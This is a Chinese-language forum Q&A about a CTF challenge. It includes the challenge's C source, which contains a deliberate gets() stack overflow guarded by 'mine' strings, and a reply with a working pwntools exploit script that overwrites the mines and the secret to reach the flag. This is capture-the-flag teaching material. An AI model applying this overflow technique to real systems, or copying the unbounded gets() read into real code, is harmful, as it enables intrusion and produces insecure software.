这是我的CTF挑战
#include <stdio.h>
#include <stdlib.h>
#include <unistd.h>
#include <string.h>
int setup() {
setbuf(stdin, 0);
setbuf(stdout, 0);
}
int win() {
char* argv[3] = {"/bin/cat", "flag.txt", NULL};
printf("Good job!\n");
execve("/bin/cat", argv, NULL);
}
int vuln() {
char secret[0x10] = "[REDACTED]";
char mine1[0x10] = "[REDACTED]";
char mine2[0x10] = "[REDACTED]";
char mine3[0x10] = "[REDACTED]";
char buf[0x20] = "";
printf("Welcome to the chamber of secrets, how would you pass the trial without knowing any secrets?\n");
printf("Input secret:\n");
gets(buf); // i heard i should be reading in more characters than the size of my buffer... so let's just use gets()!
// make sure no mines have been set off!
if (!strncmp(mine1, "O6FtZhpU6C6BXx16", 0x10) && !strncmp(mine2, "cZiwk5rfGFgPZYP4", 0x10) && !strncmp(mine3, "i165DnHauCmLqRHN", 0x10)) {
printf("Mines are safe!\n");
if (!strncmp(buf, secret, 0x10)) {
printf("What!? Impossible!! How did you guess it!?\n");
printf("Fine, here's the flag...\n");
win();
exit(0);
} else {
printf("Haha! You will never guess my secret!\n");
}
} else {
printf("You stepped on a mine!\n");
}
}
int main() {
setup();
vuln();
}
所以,我基本上尝试在 gdb 上运行它并找出导致分段错误的偏移量 104。但现在的问题是我如何防止触发地雷,我尝试了几种方法来覆盖它,通过传递 16 个“A”并遵循每个地雷的相反顺序,但它失败了。
您的方法是正确的,您必须溢出缓冲区以使用所需的值覆盖
mine1
、mine2
和mine3
的值以通过第一个条件,然后覆盖变量secret
以将其与您输入的数据,清除两个条件后,您将获得标志。
我像这样编译了二进制文件
gcc main.c -o test
这是漏洞利用脚本,完美运行
#!/usr/bin/env python3
from pwn import *
exe = "./test"
elf = context.binary = ELF(exe, checksec=False)
context.log_level = "debug"
# host,port = '',
p = process(exe)
# p = remote(host,port)
offset1 = 32 # offset to reach first mine
param3 = b"O6FtZhpU6C6BXx16"
param2 = b"cZiwk5rfGFgPZYP4"
param1 = b"i165DnHauCmLqRHN"
total_padding = 104
# secret = b"[REDACTED]"
payload = flat(
b"a" * offset1,
param1,
param2,
param3,
(total_padding - len(param1) - len(param2) - len(param3) - offset1) * b"a",
)
p.sendlineafter(b":", payload)
p.interactive()
我在 ghidra 中找到了这些偏移量,尽管你也可以使用 gdb。